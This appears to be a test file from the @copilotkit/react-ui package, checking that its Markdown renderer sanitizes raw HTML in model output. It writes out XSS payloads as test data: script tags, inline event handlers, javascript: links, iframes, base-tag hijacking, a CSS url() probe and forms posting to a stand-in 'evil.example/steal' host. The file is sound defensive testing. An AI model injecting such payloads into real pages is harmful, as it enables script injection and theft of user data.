UNPKG

@copilotkit/react-ui

Version:

<img src="https://github.com/user-attachments/assets/0a6b64d9-e193-4940-a3f6-60334ac34084" alt="banner" style="border-radius: 12px; border: 2px solid #d6d4fa;" />

171 lines (154 loc) 7 kB
import React from "react"; import { renderToStaticMarkup } from "react-dom/server"; import { Markdown } from "./Markdown"; /** * Security regression test: the legacy Markdown renderer uses * react-markdown + rehype-raw, which parses raw HTML embedded in * assistant/model output. Without an HTML sanitizer, that raw HTML * reaches the DOM verbatim — a High-severity XSS sink (CWE-79). * * These tests render the REAL <Markdown> component (the same default * path as AssistantMessage) and assert that dangerous raw-HTML * payloads are stripped from the rendered output, while legitimate * Markdown/GFM features continue to render. * * The file is a `.ts` (not `.tsx`) test using React.createElement * because the vitest config only matches the `.ts` test glob in a node * environment. We render with react-dom/server so the assertions * exercise the actual production rendering pipeline. */ const h = React.createElement; function render( content: string, rehypePlugins?: React.ComponentProps<typeof Markdown>["rehypePlugins"], ): string { return renderToStaticMarkup( h(Markdown, rehypePlugins ? { content, rehypePlugins } : { content }), ); } describe("Markdown XSS sanitization", () => { describe("dangerous raw HTML is stripped", () => { it("strips <script> tags", () => { const html = render('Hello <script>alert("xss")</script> world'); expect(html).not.toMatch(/<script/i); expect(html).not.toContain('alert("xss")'); }); it("strips <style> tags (CSS exfiltration / clickjacking)", () => { const html = render( "Hello <style>body { background: url('//evil') }</style> world", ); // The <style> ELEMENT must not survive — that is the active sink. // rehype-sanitize drops the element but keeps its (now inert) text, // which is harmless escaped text, not a stylesheet. expect(html).not.toMatch(/<style/i); // The CSS payload must not survive as a functional stylesheet. Because // the <style> element is stripped, the url('//evil') declaration can // only appear (if at all) as inert escaped text, never inside a live // <style> block where it would fetch the resource. expect(html).not.toMatch(/<style[^>]*>[^<]*url\(/i); }); it("strips <base href> (base-tag hijacking)", () => { const html = render('Hello <base href="https://evil.example/"> world'); expect(html).not.toMatch(/<base/i); expect(html).not.toContain("evil.example"); }); it("strips <form action> and <button formaction>", () => { const html = render( 'Hi <form action="https://evil.example/steal">' + '<button formaction="https://evil.example/steal">go</button>' + "</form>", ); expect(html).not.toMatch(/<form/i); expect(html).not.toMatch(/formaction/i); expect(html).not.toContain("evil.example"); }); it("strips inline event handlers (onerror/onclick)", () => { const html = render( 'Look <img src="x" onerror="alert(1)"> and ' + '<a href="#" onclick="alert(2)">link</a>', ); expect(html).not.toMatch(/onerror/i); expect(html).not.toMatch(/onclick/i); expect(html).not.toContain("alert(1)"); expect(html).not.toContain("alert(2)"); }); it("strips javascript: URLs from links", () => { // eslint-disable-next-line no-script-url const html = render("[click](javascript:alert(1))"); expect(html).not.toContain("javascript:alert(1)"); // The href must be neutralized — not merely the payload string absent. // A partially-broken sanitizer could drop the args but keep the scheme. expect(html).not.toMatch(/href="javascript:/i); }); it("strips <iframe>", () => { const html = render( 'Hi <iframe src="https://evil.example"></iframe> bye', ); expect(html).not.toMatch(/<iframe/i); expect(html).not.toContain("evil.example"); }); it("sanitizes HTML injected by a consumer rehype plugin (sanitize must run last)", () => { // A malicious/compromised consumer-supplied rehype plugin injects a // raw <script> element directly into the HAST. rehype-sanitize must be // the TERMINAL rehype pass so that ANY node a consumer plugin adds is // still scrubbed. If consumer plugins run after sanitize, this payload // survives to output — a sanitizer bypass (CWE-79). const injectScript = () => (tree: any) => { tree.children.push({ type: "element", tagName: "script", properties: {}, children: [{ type: "text", value: 'alert("pwned")' }], }); }; const html = render("safe content", [injectScript]); expect(html).not.toMatch(/<script/i); expect(html).not.toContain('alert("pwned")'); }); }); describe("legitimate markdown features are preserved", () => { it("renders headings, paragraphs, and links", () => { const html = render( "# Title\n\nSome **bold** [link](https://ok.example)", ); expect(html).toMatch(/<h1[^>]*>/i); expect(html).toContain("Title"); expect(html).toContain("https://ok.example"); expect(html).toMatch(/<strong>bold<\/strong>/i); }); it("preserves language-* className on code blocks (syntax highlighting)", () => { const html = render("```js\nconst x = 1;\n```"); // The CodeBlock renderer is driven by the language-js className that // react-markdown derives from the fenced-code info string. Sanitize // must not strip the class attribute that selects the language, and // the highlighted code content must survive (the syntax highlighter // tokenizes it across spans, so assert on the tokens, not a verbatim // contiguous string). // // Assert language-js survives as an actual sanitized class ATTRIBUTE // (class="...language-js...") rather than as a bare substring that a // highlighter span or inline style could incidentally emit. This proves // rehype-sanitize kept the class attribute on the code element. expect(html).toMatch(/class="[^"]*\blanguage-js\b[^"]*"/); expect(html).toMatch(/const/); expect(html).toMatch(/x/); expect(html).toMatch(/1/); }); it("renders GFM tables", () => { const md = ["| a | b |", "| - | - |", "| 1 | 2 |"].join("\n"); const html = render(md); expect(html).toMatch(/<table/i); expect(html).toMatch(/<td[^>]*>1<\/td>/i); }); it("renders GFM strikethrough", () => { const html = render("~~gone~~"); expect(html).toMatch(/<del>gone<\/del>/i); }); it("preserves the streaming cursor marker", () => { // The Markdown component renders a pulsing span for the ▍ cursor // emitted during streaming. Sanitization must not remove it. const html = render("partial answer `▍`"); expect(html).toContain("▍"); }); }); });